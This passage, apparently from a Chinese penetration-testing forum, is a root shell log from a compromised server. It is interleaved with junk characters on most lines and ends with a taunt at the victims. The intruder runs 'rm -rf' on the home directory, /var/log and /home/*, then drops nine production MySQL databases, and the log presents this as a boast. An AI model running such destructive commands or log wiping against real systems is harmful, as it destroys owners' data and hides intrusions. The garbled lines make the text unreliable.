$ j% X1 x5 d: A4 J5 M. `" Psh-3.2# rm -rf tmp/
sh-3.2# cd ~
: `" c9 Y6 A! t- q) I+ A" U# vsh-3.2# rm -rf *
: q( H3 A" ]$ v3 O" rsh-3.2# rm -rf /var/log/
rm: cannot remove directory `/var/log//proftpd’: Directory not empty
5 M) H! n1 t* g( }; }# ]sh-3.2# rm -rf /home/*
sh-3.2# mysql
Welcome to the MySQL monitor.  Commands end with ; or \g.
$ L% B" T' F, F7 r# A5 ^! P/ uYour MySQL connection id is 407156
2 y7 s2 s, }: H1 X2 xServer version: 5.0.45-community-log MySQL Community Edition (GPL)

9 N* x9 P/ U/ l2 p5 {Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.

mysql> show databases;
+———————–+
) ?, Q2 B/ }  y7 K/ W% d| Database              |
+———————–+
) t, M' \6 |$ x8 p: }% }8 K| information_schema    |
| astanet_ads           |
& D  X9 Y+ W  c% C. i0 W| astanet_mailing_lists |
0 S/ a4 a* Z% p1 G# W| astanet_mediawiki     |
| astanet_membersystem  |
| com_contrexx          |
3 q( m: s( {" W. N/ o; b/ N7 V  x- e. C8 Q| com_contrexx2         |
| com_contrexx2_live    |
| da_roundcube          |
- x/ S: }2 C/ R5 h| dolphin               |
| ideapool              |
1 r! k5 i1 H) u$ X- A  O6 d| mysql                 |
1 i; I, l2 x% v1 ?# i2 G% |: w3 n| test                  |
" C' Y" n- }$ Y- e; E$ F| yourmaster            |
+———————–+
( E% E+ o7 k5 O5 T$ B! T14 rows in set (0.03 sec)
5 D4 O. F: z* Q9 B$ ]2 E" q4 I
: E# u' M& O2 mmysql> drop database astanet_membersystem;
droQuery OK, 46 rows affected (0.81 sec)

, y% F" N6 R' L) P& zmysql> drop database com_contrexx;
) r6 r+ ]; K3 G$ BQuery OK, 211 rows affected (2.72 sec)

( V. A8 C$ q- B# Gmysql> drop database com_contrexx2;
Query OK, 237 rows affected (2.23 sec)

mysql> drop database com_contrexx2_live;
Query OK, 227 rows affected (7.63 sec)
+ E" L3 D- B- W# s" I
mysql> drop database ideapool;
Query OK, 69 rows affected (0.19 sec)

" D8 n" X3 f5 ?1 W8 ^mysql> drop database yourmaster;
Query OK, 158 rows affected (0.55 sec)

) r5 |" h* \0 Omysql> drop database astanet_ads;
Query OK, 9 rows affected (0.11 sec)

mysql> drop database astanet_mailing_lists;
7 r9 \# A2 Q+ Z7 ]4 x' ?7 IQuery OK, 24 rows affected (1.47 sec)

mysql> drop database astanet_mediawiki;
Query OK, 31 rows affected (0.51 sec)
5 G, d5 m1 G- E" n. s6 i  M9 I
' S; ~" z  o  x# c5 V; B/ G( qmysql> show databases;
$ \* U! b/ V5 r: h: }+——————–+
| Database           |
+——————–+
: C9 g8 p' e: o7 r* N7 b' {# H| information_schema |
| da_roundcube       |
8 z8 H2 ]% p& u) A4 d4 K  Q| dolphin            |
| mysql              |
| test               |
# S3 L; G8 Z3 K+——————–+
  ?& n+ L; A1 Z$ ]/ a" e! L5 rows in set (0.00 sec)

. @, R8 t7 Z* eWhat a journey! We’re not sure exactly why the “Terminator” had any influence on
their naming (conventions) but we’re sure Arnold himself wouldn’t be in the
9 ]1 t( ?! `! swrong to say this pack of morons *wont be back*.

---

欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)

Powered by Discuz! X3.2